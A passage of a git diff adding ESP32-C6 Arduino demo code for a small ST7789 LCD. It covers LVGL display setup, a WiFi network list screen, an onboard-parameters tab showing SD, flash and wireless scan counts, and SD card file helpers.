lv_obj_t *title = lv_label_create(lv_scr_act());
|
||||
lv_obj_set_style_text_color(title, lv_palette_main(LV_PALETTE_GREEN), 0);
|
||||
lv_obj_set_style_text_font(title, &lv_font_montserrat_16, 0);
|
||||
lv_label_set_text(title, "WiFi Networks");
|
||||
lv_obj_align(title, LV_ALIGN_TOP_LEFT, 10, 8);
|
||||
|
||||
status_label = lv_label_create(lv_scr_act());
|
||||
lv_obj_set_style_text_color(status_label, lv_palette_lighten(LV_PALETTE_GREEN, 2), 0);
|
||||
lv_obj_set_style_text_font(status_label, &lv_font_montserrat_12, 0);
|
||||
lv_label_set_text(status_label, "Starting scan...");
|
||||
lv_obj_align(status_label, LV_ALIGN_TOP_LEFT, 10, 30);
|
||||
|
||||
lv_obj_t *list_panel = lv_obj_create(lv_scr_act());
|
||||
lv_obj_set_size(list_panel, 164, 260);
|
||||
lv_obj_align(list_panel, LV_ALIGN_TOP_LEFT, 4, 52);
|
||||
lv_obj_set_style_bg_color(list_panel, lv_color_black(), 0);
|
||||
lv_obj_set_style_bg_opa(list_panel, LV_OPA_TRANSP, 0);
|
||||
lv_obj_set_style_border_width(list_panel, 1, 0);
|
||||
lv_obj_set_style_border_color(list_panel, lv_palette_darken(LV_PALETTE_GREEN, 2), 0);
|
||||
lv_obj_set_style_pad_all(list_panel, 6, 0);
|
||||
lv_obj_set_scrollbar_mode(list_panel, LV_SCROLLBAR_MODE_OFF);
|
||||
|
||||
// Container for network labels
|
||||
network_container = lv_obj_create(list_panel);
|
||||
lv_obj_set_size(network_container, lv_pct(100), lv_pct(100));
|
||||
lv_obj_set_flex_flow(network_container, LV_FLEX_FLOW_COLUMN);
|
||||
lv_obj_set_flex_align(network_container, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START);
|
||||
lv_obj_clear_flag(network_container, LV_OBJ_FLAG_SCROLLABLE);
|
||||
lv_obj_set_style_pad_all(network_container, 0, 0);
|
||||
lv_obj_set_style_border_width(network_container, 0, 0);
|
||||
lv_obj_set_style_bg_opa(network_container, LV_OPA_TRANSP, 0);
|
||||
|
||||
// Keep list_label for backward compatibility (hidden)
|
||||
list_label = lv_label_create(list_panel);
|
||||
lv_obj_set_width(list_label, lv_pct(100));
|
||||
lv_obj_set_style_text_color(list_label, lv_palette_main(LV_PALETTE_GREEN), 0);
|
||||
lv_obj_set_style_text_font(list_label, &lv_font_montserrat_12, 0);
|
||||
lv_label_set_long_mode(list_label, LV_LABEL_LONG_WRAP);
|
||||
lv_label_set_text(list_label, "");
|
||||
lv_obj_add_flag(list_label, LV_OBJ_FLAG_HIDDEN);
|
||||
|
||||
const esp_timer_create_args_t lvgl_tick_timer_args = {
|
||||
.callback = &example_increase_lvgl_tick,
|
||||
.name = "lvgl_tick"
|
||||
};
|
||||
esp_timer_handle_t lvgl_tick_timer = NULL;
|
||||
esp_timer_create(&lvgl_tick_timer_args, &lvgl_tick_timer);
|
||||
esp_timer_start_periodic(lvgl_tick_timer, EXAMPLE_LVGL_TICK_PERIOD_MS * 1000);
|
||||
|
||||
}
|
||||
void Timer_Loop(void)
|
||||
{
|
||||
lv_timer_handler(); /* let the GUI do its work */
|
||||
// delay( 5 );
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
#include <lvgl.h>
|
||||
#include <lv_conf.h>
|
||||
#include <demos/lv_demos.h>
|
||||
#include <esp_heap_caps.h>
|
||||
#include "Display_ST7789.h"
|
||||
|
||||
#define LVGL_WIDTH (LCD_WIDTH )
|
||||
#define LVGL_HEIGHT LCD_HEIGHT
|
||||
#define LVGL_BUF_LEN (LVGL_WIDTH * LVGL_HEIGHT / 20)
|
||||
|
||||
#define EXAMPLE_LVGL_TICK_PERIOD_MS 5
|
||||
|
||||
|
||||
void Lvgl_print(const char * buf);
|
||||
void Lvgl_Display_LCD( lv_disp_drv_t *disp_drv, const lv_area_t *area, lv_color_t *color_p ); // Displays LVGL content on the LCD. This function implements associating LVGL data to the LCD screen
|
||||
void Lvgl_Touchpad_Read( lv_indev_drv_t * indev_drv, lv_indev_data_t * data ); // Read the touchpad
|
||||
void example_increase_lvgl_tick(void *arg);
|
||||
|
||||
void Lvgl_Init(void);
|
||||
void Timer_Loop(void);
|
||||
void Ui_SetWifiStatus(const char *text);
|
||||
void Ui_SetWifiList(const char *text);
|
||||
void Ui_ClearNetworkList(void);
|
||||
void Ui_AddNetwork(const char* text, int index);
|
||||
void Ui_SetNetworkColor(int index, lv_color_t color);
|
||||
void Ui_SetNetworkText(int index, const char* text);
|
||||
@@ -0,0 +1,440 @@
|
||||
#include "LVGL_Example.h"
|
||||
|
||||
/**********************
|
||||
* TYPEDEFS
|
||||
**********************/
|
||||
typedef enum {
|
||||
DISP_SMALL,
|
||||
DISP_MEDIUM,
|
||||
DISP_LARGE,
|
||||
} disp_size_t;
|
||||
|
||||
/**********************
|
||||
* STATIC PROTOTYPES
|
||||
**********************/
|
||||
static void Onboard_create(lv_obj_t * parent);
|
||||
static void color_changer_create(lv_obj_t * parent);
|
||||
|
||||
static void color_changer_event_cb(lv_event_t * e);
|
||||
static void color_event_cb(lv_event_t * e);
|
||||
static void ta_event_cb(lv_event_t * e);
|
||||
static void birthday_event_cb(lv_event_t * e);
|
||||
static void calendar_event_cb(lv_event_t * e);
|
||||
void IRAM_ATTR example1_increase_lvgl_tick(lv_timer_t * t);
|
||||
/**********************
|
||||
* STATIC VARIABLES
|
||||
**********************/
|
||||
static disp_size_t disp_size;
|
||||
|
||||
static lv_obj_t * tv;
|
||||
static lv_obj_t * calendar;
|
||||
lv_style_t style_text_muted;
|
||||
lv_style_t style_title;
|
||||
static lv_style_t style_icon;
|
||||
static lv_style_t style_bullet;
|
||||
|
||||
static lv_obj_t * chart1;
|
||||
static lv_obj_t * chart2;
|
||||
static lv_obj_t * chart3;
|
||||
|
||||
static lv_chart_series_t * ser1;
|
||||
static lv_chart_series_t * ser2;
|
||||
static lv_chart_series_t * ser3;
|
||||
static lv_chart_series_t * ser4;
|
||||
|
||||
static const lv_font_t * font_large;
|
||||
static const lv_font_t * font_normal;
|
||||
|
||||
static lv_timer_t * auto_step_timer;
|
||||
static lv_color_t original_screen_bg_color;
|
||||
|
||||
static lv_timer_t * meter2_timer;
|
||||
|
||||
lv_obj_t * SD_Size;
|
||||
lv_obj_t * FlashSize;
|
||||
lv_obj_t * Board_angle;
|
||||
lv_obj_t * RTC_Time;
|
||||
lv_obj_t * Wireless_Scan;
|
||||
|
||||
|
||||
|
||||
void IRAM_ATTR auto_switch(lv_timer_t * t)
|
||||
{
|
||||
uint16_t page = lv_tabview_get_tab_act(tv);
|
||||
|
||||
if (page == 0) {
|
||||
lv_tabview_set_act(tv, 1, LV_ANIM_ON);
|
||||
} else if (page == 3) {
|
||||
lv_tabview_set_act(tv, 2, LV_ANIM_ON);
|
||||
}
|
||||
}
|
||||
void Lvgl_Example1(void){
|
||||
|
||||
disp_size = DISP_SMALL;
|
||||
|
||||
font_large = LV_FONT_DEFAULT;
|
||||
font_normal = LV_FONT_DEFAULT;
|
||||
|
||||
lv_coord_t tab_h;
|
||||
tab_h = 45;
|
||||
#if LV_FONT_MONTSERRAT_18
|
||||
font_large = &lv_font_montserrat_18;
|
||||
#else
|
||||
LV_LOG_WARN("LV_FONT_MONTSERRAT_18 is not enabled for the widgets demo. Using LV_FONT_DEFAULT instead.");
|
||||
#endif
|
||||
#if LV_FONT_MONTSERRAT_12
|
||||
font_normal = &lv_font_montserrat_12;
|
||||
#else
|
||||
LV_LOG_WARN("LV_FONT_MONTSERRAT_12 is not enabled for the widgets demo. Using LV_FONT_DEFAULT instead.");
|
||||
#endif
|
||||
|
||||
lv_style_init(&style_text_muted);
|
||||
lv_style_set_text_opa(&style_text_muted, LV_OPA_90);
|
||||
|
||||
lv_style_init(&style_title);
|
||||
lv_style_set_text_font(&style_title, font_large);
|
||||
|
||||
lv_style_init(&style_icon);
|
||||
lv_style_set_text_color(&style_icon, lv_theme_get_color_primary(NULL));
|
||||
lv_style_set_text_font(&style_icon, font_large);
|
||||
|
||||
lv_style_init(&style_bullet);
|
||||
lv_style_set_border_width(&style_bullet, 0);
|
||||
lv_style_set_radius(&style_bullet, LV_RADIUS_CIRCLE);
|
||||
|
||||
tv = lv_tabview_create(lv_scr_act(), LV_DIR_TOP, tab_h);
|
||||
|
||||
lv_obj_set_style_text_font(lv_scr_act(), font_normal, 0);
|
||||
|
||||
|
||||
lv_obj_t * t1 = lv_tabview_add_tab(tv, "Onboard");
|
||||
|
||||
|
||||
Onboard_create(t1);
|
||||
|
||||
|
||||
}
|
||||
|
||||
void Lvgl_Example1_close(void)
|
||||
{
|
||||
/*Delete all animation*/
|
||||
lv_anim_del(NULL, NULL);
|
||||
|
||||
lv_timer_del(meter2_timer);
|
||||
meter2_timer = NULL;
|
||||
|
||||
lv_obj_clean(lv_scr_act());
|
||||
|
||||
lv_style_reset(&style_text_muted);
|
||||
lv_style_reset(&style_title);
|
||||
lv_style_reset(&style_icon);
|
||||
lv_style_reset(&style_bullet);
|
||||
}
|
||||
|
||||
|
||||
/**********************
|
||||
* STATIC FUNCTIONS
|
||||
**********************/
|
||||
|
||||
static void Onboard_create(lv_obj_t * parent)
|
||||
{
|
||||
|
||||
/*Create a panel*/
|
||||
lv_obj_t * panel1 = lv_obj_create(parent);
|
||||
lv_obj_set_height(panel1, LV_SIZE_CONTENT);
|
||||
|
||||
lv_obj_t * panel1_title = lv_label_create(panel1);
|
||||
lv_label_set_text(panel1_title, "Onboard parameter");
|
||||
lv_obj_add_style(panel1_title, &style_title, 0);
|
||||
|
||||
lv_obj_t * SD_label = lv_label_create(panel1);
|
||||
lv_label_set_text(SD_label, "SD Card");
|
||||
lv_obj_add_style(SD_label, &style_text_muted, 0);
|
||||
|
||||
SD_Size = lv_textarea_create(panel1);
|
||||
lv_textarea_set_one_line(SD_Size, true);
|
||||
lv_textarea_set_placeholder_text(SD_Size, "SD Size");
|
||||
lv_obj_add_event_cb(SD_Size, ta_event_cb, LV_EVENT_ALL, NULL);
|
||||
|
||||
lv_obj_t * Flash_label = lv_label_create(panel1);
|
||||
lv_label_set_text(Flash_label, "Flash Size");
|
||||
lv_obj_add_style(Flash_label, &style_text_muted, 0);
|
||||
|
||||
FlashSize = lv_textarea_create(panel1);
|
||||
lv_textarea_set_one_line(FlashSize, true);
|
||||
lv_textarea_set_placeholder_text(FlashSize, "Flash Size");
|
||||
lv_obj_add_event_cb(FlashSize, ta_event_cb, LV_EVENT_ALL, NULL);
|
||||
|
||||
lv_obj_t * Wireless_label = lv_label_create(panel1);
|
||||
lv_label_set_text(Wireless_label, "Wireless scan");
|
||||
lv_obj_add_style(Wireless_label, &style_text_muted, 0);
|
||||
|
||||
Wireless_Scan = lv_textarea_create(panel1);
|
||||
lv_textarea_set_one_line(Wireless_Scan, true);
|
||||
lv_textarea_set_placeholder_text(Wireless_Scan, "Wireless number");
|
||||
lv_obj_add_event_cb(Wireless_Scan, ta_event_cb, LV_EVENT_ALL, NULL);
|
||||
|
||||
// 器件布局
|
||||
static lv_coord_t grid_main_col_dsc[] = {LV_GRID_FR(1), LV_GRID_TEMPLATE_LAST};
|
||||
static lv_coord_t grid_main_row_dsc[] = {LV_GRID_CONTENT, LV_GRID_CONTENT, LV_GRID_CONTENT, LV_GRID_TEMPLATE_LAST};
|
||||
lv_obj_set_grid_dsc_array(parent, grid_main_col_dsc, grid_main_row_dsc);
|
||||
|
||||
|
||||
/*Create the top panel*/
|
||||
static lv_coord_t grid_1_col_dsc[] = {LV_GRID_CONTENT, LV_GRID_FR(1), LV_GRID_TEMPLATE_LAST};
|
||||
static lv_coord_t grid_1_row_dsc[] = {LV_GRID_CONTENT, /*Avatar*/
|
||||
LV_GRID_CONTENT, /*Name*/
|
||||
LV_GRID_CONTENT, /*Description*/
|
||||
LV_GRID_CONTENT, /*Email*/
|
||||
LV_GRID_CONTENT, /*Phone number*/
|
||||
LV_GRID_CONTENT, /*Button1*/
|
||||
LV_GRID_CONTENT, /*Button2*/
|
||||
LV_GRID_TEMPLATE_LAST
|
||||
};
|
||||
|
||||
lv_obj_set_grid_dsc_array(panel1, grid_1_col_dsc, grid_1_row_dsc);
|
||||
|
||||
|
||||
static lv_coord_t grid_2_col_dsc[] = {LV_GRID_FR(1), LV_GRID_TEMPLATE_LAST};
|
||||
static lv_coord_t grid_2_row_dsc[] = {
|
||||
LV_GRID_CONTENT, /*Title*/
|
||||
5, /*Separator*/
|
||||
LV_GRID_CONTENT, /*Box title*/
|
||||
40, /*Box*/
|
||||
LV_GRID_CONTENT, /*Box title*/
|
||||
40, /*Box*/
|
||||
LV_GRID_CONTENT, /*Box title*/
|
||||
40, /*Box*/
|
||||
LV_GRID_CONTENT, /*Box title*/
|
||||
40, /*Box*/
|
||||
LV_GRID_CONTENT, /*Box title*/
|
||||
40, /*Box*/
|
||||
LV_GRID_CONTENT, /*Box title*/
|
||||
40, /*Box*/
|
||||
LV_GRID_TEMPLATE_LAST
|
||||
};
|
||||
|
||||
// lv_obj_set_grid_dsc_array(panel2, grid_2_col_dsc, grid_2_row_dsc);
|
||||
// lv_obj_set_grid_dsc_array(panel3, grid_2_col_dsc, grid_2_row_dsc);
|
||||
|
||||
lv_obj_set_grid_cell(panel1, LV_GRID_ALIGN_STRETCH, 0, 1, LV_GRID_ALIGN_START, 0, 1);
|
||||
lv_obj_set_grid_dsc_array(panel1, grid_2_col_dsc, grid_2_row_dsc);
|
||||
lv_obj_set_grid_cell(panel1_title, LV_GRID_ALIGN_START, 0, 1, LV_GRID_ALIGN_CENTER, 0, 1);
|
||||
lv_obj_set_grid_cell(SD_label, LV_GRID_ALIGN_START, 0, 1, LV_GRID_ALIGN_START, 2, 1);
|
||||
lv_obj_set_grid_cell(SD_Size, LV_GRID_ALIGN_STRETCH, 0, 1, LV_GRID_ALIGN_CENTER, 3, 1);
|
||||
lv_obj_set_grid_cell(Flash_label, LV_GRID_ALIGN_START, 0, 1, LV_GRID_ALIGN_START, 4, 1);
|
||||
lv_obj_set_grid_cell(FlashSize, LV_GRID_ALIGN_STRETCH, 0, 1, LV_GRID_ALIGN_CENTER, 5, 1);
|
||||
lv_obj_set_grid_cell(Wireless_label, LV_GRID_ALIGN_START, 0, 1, LV_GRID_ALIGN_START, 6, 1);
|
||||
lv_obj_set_grid_cell(Wireless_Scan, LV_GRID_ALIGN_STRETCH, 0, 1, LV_GRID_ALIGN_CENTER, 7, 1);
|
||||
|
||||
// 器件布局 END
|
||||
|
||||
auto_step_timer = lv_timer_create(example1_increase_lvgl_tick, 100, NULL);
|
||||
}
|
||||
|
||||
void IRAM_ATTR example1_increase_lvgl_tick(lv_timer_t * t)
|
||||
{
|
||||
char buf[100]={0};
|
||||
|
||||
snprintf(buf, sizeof(buf), "%d MB\r\n", SDCard_Size);
|
||||
lv_textarea_set_placeholder_text(SD_Size, buf);
|
||||
snprintf(buf, sizeof(buf), "%d MB\r\n", Flash_Size);
|
||||
lv_textarea_set_placeholder_text(FlashSize, buf);
|
||||
if(Scan_finish)
|
||||
snprintf(buf, sizeof(buf), "W: %d B: %d OK.\r\n",WIFI_NUM,BLE_NUM);
|
||||
// snprintf(buf, sizeof(buf), "WIFI: %d ..OK.\r\n",WIFI_NUM);
|
||||
else
|
||||
snprintf(buf, sizeof(buf), "W: %d B: %d\r\n",WIFI_NUM,BLE_NUM);
|
||||
// snprintf(buf, sizeof(buf), "WIFI: %d \r\n",WIFI_NUM);
|
||||
lv_textarea_set_placeholder_text(Wireless_Scan, buf);
|
||||
}
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
static void color_changer_create(lv_obj_t * parent)
|
||||
{
|
||||
static lv_palette_t palette[] = {
|
||||
LV_PALETTE_BLUE, LV_PALETTE_GREEN, LV_PALETTE_BLUE_GREY, LV_PALETTE_ORANGE,
|
||||
LV_PALETTE_RED, LV_PALETTE_PURPLE, LV_PALETTE_TEAL, _LV_PALETTE_LAST
|
||||
};
|
||||
|
||||
lv_obj_t * color_cont = lv_obj_create(parent);
|
||||
lv_obj_remove_style_all(color_cont);
|
||||
lv_obj_set_flex_flow(color_cont, LV_FLEX_FLOW_ROW);
|
||||
lv_obj_set_flex_align(color_cont, LV_FLEX_ALIGN_SPACE_EVENLY, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER);
|
||||
lv_obj_add_flag(color_cont, LV_OBJ_FLAG_FLOATING);
|
||||
|
||||
lv_obj_set_style_bg_color(color_cont, lv_color_white(), 0);
|
||||
lv_obj_set_style_pad_right(color_cont, disp_size == DISP_SMALL ? LV_DPX(47) : LV_DPX(55), 0);
|
||||
lv_obj_set_style_bg_opa(color_cont, LV_OPA_COVER, 0);
|
||||
lv_obj_set_style_radius(color_cont, LV_RADIUS_CIRCLE, 0);
|
||||
|
||||
if(disp_size == DISP_SMALL) lv_obj_set_size(color_cont, LV_DPX(52), LV_DPX(52));
|
||||
else lv_obj_set_size(color_cont, LV_DPX(60), LV_DPX(60));
|
||||
|
||||
lv_obj_align(color_cont, LV_ALIGN_BOTTOM_RIGHT, - LV_DPX(10), - LV_DPX(10));
|
||||
|
||||
uint32_t i;
|
||||
for(i = 0; palette[i] != _LV_PALETTE_LAST; i++) {
|
||||
lv_obj_t * c = lv_btn_create(color_cont);
|
||||
lv_obj_set_style_bg_color(c, lv_palette_main(palette[i]), 0);
|
||||
lv_obj_set_style_radius(c, LV_RADIUS_CIRCLE, 0);
|
||||
lv_obj_set_style_opa(c, LV_OPA_TRANSP, 0);
|
||||
lv_obj_set_size(c, 20, 20);
|
||||
lv_obj_add_event_cb(c, color_event_cb, LV_EVENT_ALL, &palette[i]);
|
||||
lv_obj_clear_flag(c, LV_OBJ_FLAG_SCROLL_ON_FOCUS);
|
||||
}
|
||||
|
||||
lv_obj_t * btn = lv_btn_create(parent);
|
||||
lv_obj_add_flag(btn, LV_OBJ_FLAG_FLOATING | LV_OBJ_FLAG_CLICKABLE);
|
||||
lv_obj_set_style_bg_color(btn, lv_color_white(), LV_STATE_CHECKED);
|
||||
lv_obj_set_style_pad_all(btn, 10, 0);
|
||||
lv_obj_set_style_radius(btn, LV_RADIUS_CIRCLE, 0);
|
||||
lv_obj_add_event_cb(btn, color_changer_event_cb, LV_EVENT_ALL, color_cont);
|
||||
lv_obj_set_style_shadow_width(btn, 0, 0);
|
||||
lv_obj_set_style_bg_img_src(btn, LV_SYMBOL_TINT, 0);
|
||||
|
||||
if(disp_size == DISP_SMALL) {
|
||||
lv_obj_set_size(btn, LV_DPX(42), LV_DPX(42));
|
||||
lv_obj_align(btn, LV_ALIGN_BOTTOM_RIGHT, -LV_DPX(15), -LV_DPX(15));
|
||||
}
|
||||
else {
|
||||
lv_obj_set_size(btn, LV_DPX(50), LV_DPX(50));
|
||||
lv_obj_align(btn, LV_ALIGN_BOTTOM_RIGHT, -LV_DPX(15), -LV_DPX(15));
|
||||
}
|
||||
}
|
||||
|
||||
static void color_changer_anim_cb(void * var, int32_t v)
|
||||
{
|
||||
lv_obj_t * obj =(lv_obj_t *) var;
|
||||
lv_coord_t max_w = lv_obj_get_width(lv_obj_get_parent(obj)) - LV_DPX(20);
|
||||
lv_coord_t w;
|
||||
|
||||
if(disp_size == DISP_SMALL) {
|
||||
w = lv_map(v, 0, 256, LV_DPX(52), max_w);
|
||||
lv_obj_set_width(obj, w);
|
||||
lv_obj_align(obj, LV_ALIGN_BOTTOM_RIGHT, - LV_DPX(10), - LV_DPX(10));
|
||||
}
|
||||
else {
|
||||
w = lv_map(v, 0, 256, LV_DPX(60), max_w);
|
||||
lv_obj_set_width(obj, w);
|
||||
lv_obj_align(obj, LV_ALIGN_BOTTOM_RIGHT, - LV_DPX(10), - LV_DPX(10));
|
||||
}
|
||||
|
||||
if(v > LV_OPA_COVER) v = LV_OPA_COVER;
|
||||
|
||||
uint32_t i;
|
||||
for(i = 0; i < lv_obj_get_child_cnt(obj); i++) {
|
||||
lv_obj_set_style_opa(lv_obj_get_child(obj, i), v, 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static void color_changer_event_cb(lv_event_t * e)
|
||||
{
|
||||
if(lv_event_get_code(e) == LV_EVENT_CLICKED) {
|
||||
lv_obj_t * color_cont = (lv_obj_t *)lv_event_get_user_data(e);
|
||||
if(lv_obj_get_width(color_cont) < LV_HOR_RES / 2) {
|
||||
lv_anim_t a;
|
||||
lv_anim_init(&a);
|
||||
lv_anim_set_var(&a, color_cont);
|
||||
lv_anim_set_exec_cb(&a, color_changer_anim_cb);
|
||||
lv_anim_set_values(&a, 0, 256);
|
||||
lv_anim_set_time(&a, 200);
|
||||
lv_anim_start(&a);
|
||||
}
|
||||
else {
|
||||
lv_anim_t a;
|
||||
lv_anim_init(&a);
|
||||
lv_anim_set_var(&a, color_cont);
|
||||
lv_anim_set_exec_cb(&a, color_changer_anim_cb);
|
||||
lv_anim_set_values(&a, 256, 0);
|
||||
lv_anim_set_time(&a, 200);
|
||||
lv_anim_start(&a);
|
||||
}
|
||||
}
|
||||
}
|
||||
static void color_event_cb(lv_event_t * e)
|
||||
{
|
||||
lv_event_code_t code = lv_event_get_code(e);
|
||||
lv_obj_t * obj = lv_event_get_target(e);
|
||||
|
||||
if(code == LV_EVENT_FOCUSED) {
|
||||
lv_obj_t * color_cont = lv_obj_get_parent(obj);
|
||||
if(lv_obj_get_width(color_cont) < LV_HOR_RES / 2) {
|
||||
lv_anim_t a;
|
||||
lv_anim_init(&a);
|
||||
lv_anim_set_var(&a, color_cont);
|
||||
lv_anim_set_exec_cb(&a, color_changer_anim_cb);
|
||||
lv_anim_set_values(&a, 0, 256);
|
||||
lv_anim_set_time(&a, 200);
|
||||
lv_anim_start(&a);
|
||||
}
|
||||
}
|
||||
else if(code == LV_EVENT_CLICKED) {
|
||||
lv_palette_t * palette_primary = (lv_palette_t *)lv_event_get_user_data(e);
|
||||
lv_palette_t palette_secondary =(lv_palette_t) ((*palette_primary) + 3); /*Use another palette as secondary*/
|
||||
if(palette_secondary >= _LV_PALETTE_LAST) palette_secondary =(lv_palette_t)(0);
|
||||
#if LV_USE_THEME_DEFAULT
|
||||
lv_theme_default_init(NULL, lv_palette_main(*palette_primary), lv_palette_main(palette_secondary),
|
||||
LV_THEME_DEFAULT_DARK, font_normal);
|
||||
#endif
|
||||
lv_color_t color = lv_palette_main(*palette_primary);
|
||||
lv_style_set_text_color(&style_icon, color);
|
||||
lv_chart_set_series_color(chart1, ser1, color);
|
||||
lv_chart_set_series_color(chart2, ser3, color);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
static void ta_event_cb(lv_event_t * e)
|
||||
{
|
||||
}
|
||||
|
||||
static void birthday_event_cb(lv_event_t * e)
|
||||
{
|
||||
lv_event_code_t code = lv_event_get_code(e);
|
||||
lv_obj_t * ta = lv_event_get_target(e);
|
||||
|
||||
if(code == LV_EVENT_FOCUSED) {
|
||||
if(lv_indev_get_type(lv_indev_get_act()) == LV_INDEV_TYPE_POINTER) {
|
||||
if(calendar == NULL) {
|
||||
lv_obj_add_flag(lv_layer_top(), LV_OBJ_FLAG_CLICKABLE);
|
||||
calendar = lv_calendar_create(lv_layer_top());
|
||||
lv_obj_set_style_bg_opa(lv_layer_top(), LV_OPA_50, 0);
|
||||
lv_obj_set_style_bg_color(lv_layer_top(), lv_palette_main(LV_PALETTE_GREY), 0);
|
||||
if(disp_size == DISP_SMALL) lv_obj_set_size(calendar, 180, 200);
|
||||
else if(disp_size == DISP_MEDIUM) lv_obj_set_size(calendar, 200, 220);
|
||||
else lv_obj_set_size(calendar, 300, 330);
|
||||
lv_calendar_set_showed_date(calendar, 1990, 01);
|
||||
lv_obj_align(calendar, LV_ALIGN_CENTER, 0, 30);
|
||||
lv_obj_add_event_cb(calendar, calendar_event_cb, LV_EVENT_ALL, ta);
|
||||
|
||||
lv_calendar_header_dropdown_create(calendar);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void calendar_event_cb(lv_event_t * e)
|
||||
{
|
||||
lv_event_code_t code = lv_event_get_code(e);
|
||||
lv_obj_t * ta = (lv_obj_t *)lv_event_get_user_data(e);
|
||||
lv_obj_t * obj = (lv_obj_t *)lv_event_get_current_target(e);
|
||||
if(code == LV_EVENT_VALUE_CHANGED) {
|
||||
lv_calendar_date_t d;
|
||||
lv_calendar_get_pressed_date(obj, &d);
|
||||
char buf[32];
|
||||
lv_snprintf(buf, sizeof(buf), "%02d.%02d.%d", d.day, d.month, d.year);
|
||||
lv_textarea_set_text(ta, buf);
|
||||
|
||||
lv_obj_del(calendar);
|
||||
calendar = NULL;
|
||||
lv_obj_clear_flag(lv_layer_top(), LV_OBJ_FLAG_CLICKABLE);
|
||||
lv_obj_set_style_bg_opa(lv_layer_top(), LV_OPA_TRANSP, 0);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
|
||||
#include "LVGL_Driver.h"
|
||||
#include "SD_Card.h"
|
||||
#include "Wireless.h"
|
||||
|
||||
#define EXAMPLE1_LVGL_TICK_PERIOD_MS 1000
|
||||
|
||||
|
||||
void Lvgl_Example1(void);
|
||||
116
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Arduino/SD_Card.cpp
Normal file
116
ESP32-C6-LCD-1.47-Demo/Arduino/examples/LVGL_Arduino/SD_Card.cpp
Normal file
@@ -0,0 +1,116 @@
|
||||
#include "SD_Card.h"
|
||||
|
||||
uint16_t SDCard_Size;
|
||||
uint16_t Flash_Size;
|
||||
|
||||
bool SD_Init() {
|
||||
// SD
|
||||
pinMode(SD_CS, OUTPUT);
|
||||
digitalWrite(SD_CS, HIGH);
|
||||
if (SD.begin(SD_CS, SPI)) {
|
||||
printf("SD card initialization successful!\r\n");
|
||||
} else {
|
||||
printf("SD card initialization failed!\r\n");
|
||||
}
|
||||
uint8_t cardType = SD.cardType();
|
||||
if(cardType == CARD_NONE){
|
||||
printf("No SD card attached\r\n");
|
||||
return false;
|
||||
}
|
||||
else{
|
||||
printf("SD Card Type: ");
|
||||
if(cardType == CARD_MMC){
|
||||
printf("MMC\r\n");
|
||||
} else if(cardType == CARD_SD){
|
||||
printf("SDSC\r\n");
|
||||
} else if(cardType == CARD_SDHC){
|
||||
printf("SDHC\r\n");
|
||||
} else {
|
||||
printf("UNKNOWN\r\n");
|
||||
}
|
||||
uint64_t totalBytes = SD.totalBytes();
|
||||
uint64_t usedBytes = SD.usedBytes();
|
||||
SDCard_Size = totalBytes/(1024*1024);
|
||||
printf("Total space: %llu\n", totalBytes);
|
||||
printf("Used space: %llu\n", usedBytes);
|
||||
printf("Free space: %llu\n", totalBytes - usedBytes);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
bool File_Search(const char* directory, const char* fileName)
|
||||
{
|
||||
File Path = SD.open(directory);
|
||||
if (!Path) {
|
||||
printf("Path: <%s> does not exist\r\n",directory);
|
||||
return false;
|
||||
}
|
||||
File file = Path.openNextFile();
|
||||
while (file) {
|
||||
if (strcmp(file.name(), fileName) == 0) {
|
||||
if (strcmp(directory, "/") == 0)
|
||||
printf("File '%s%s' found in root directory.\r\n",directory,fileName);
|
||||
else
|
||||
printf("File '%s/%s' found in root directory.\r\n",directory,fileName);
|
||||
Path.close();
|
||||
return true;
|
||||
}
|
||||
file = Path.openNextFile();
|
||||
}
|
||||
if (strcmp(directory, "/") == 0)
|
||||
printf("File '%s%s' not found in root directory.\r\n",directory,fileName);
|
||||
else
|
||||
printf("File '%s/%s' not found in root directory.\r\n",directory,fileName);
|
||||
Path.close();
|
||||
return false;
|
||||
}
|
||||
uint16_t Folder_retrieval(const char* directory, const char* fileExtension, char File_Name[][100],uint16_t maxFiles)
|
||||
{
|
||||
File Path = SD.open(directory);
|
||||
if (!Path) {
|
||||
printf("Path: <%s> does not exist\r\n",directory);
|
||||
return false;
|
||||
}
|
||||
|
||||
uint16_t fileCount = 0;
|
||||
char filePath[100];
|
||||
File file = Path.openNextFile();
|
||||
while (file && fileCount < maxFiles) {
|
||||
if (!file.isDirectory() && strstr(file.name(), fileExtension)) {
|
||||
strncpy(File_Name[fileCount], file.name(), sizeof(File_Name[fileCount]));
|
||||
if (strcmp(directory, "/") == 0) {
|
||||
snprintf(filePath, 100, "%s%s", directory, file.name());
|
||||
} else {
|
||||
snprintf(filePath, 100, "%s/%s", directory, file.name());
|
||||
}
|
||||
printf("File found: %s\r\n", filePath);
|
||||
fileCount++;
|
||||
}
|
||||
file = Path.openNextFile();
|
||||
}
|
||||
Path.close();
|
||||
if (fileCount > 0) {
|
||||
printf(" %d <%s> files were retrieved\r\n",fileCount,fileExtension);
|
||||
return fileCount;
|
||||
} else {
|
||||
printf("No files with extension '%s' found in directory: %s\r\n", fileExtension, directory);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
void remove_file_extension(char *file_name) {
|
||||
char *last_dot = strrchr(file_name, '.');
|
||||
if (last_dot != NULL) {
|
||||
*last_dot = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
void Flash_test()
|
||||
{
|
||||
printf("/********** RAM Test**********/\r\n");
|
||||
// Get Flash size
|
||||
uint32_t flashSize = ESP.getFlashChipSize();
|
||||
Flash_Size = flashSize/1024/1024;
|
||||
printf("Flash size: %d MB \r\n", flashSize/1024/1024);
|
||||
|
||||
printf("/******* RAM Test Over********/\r\n\r\n");
|
||||
}
|
||||
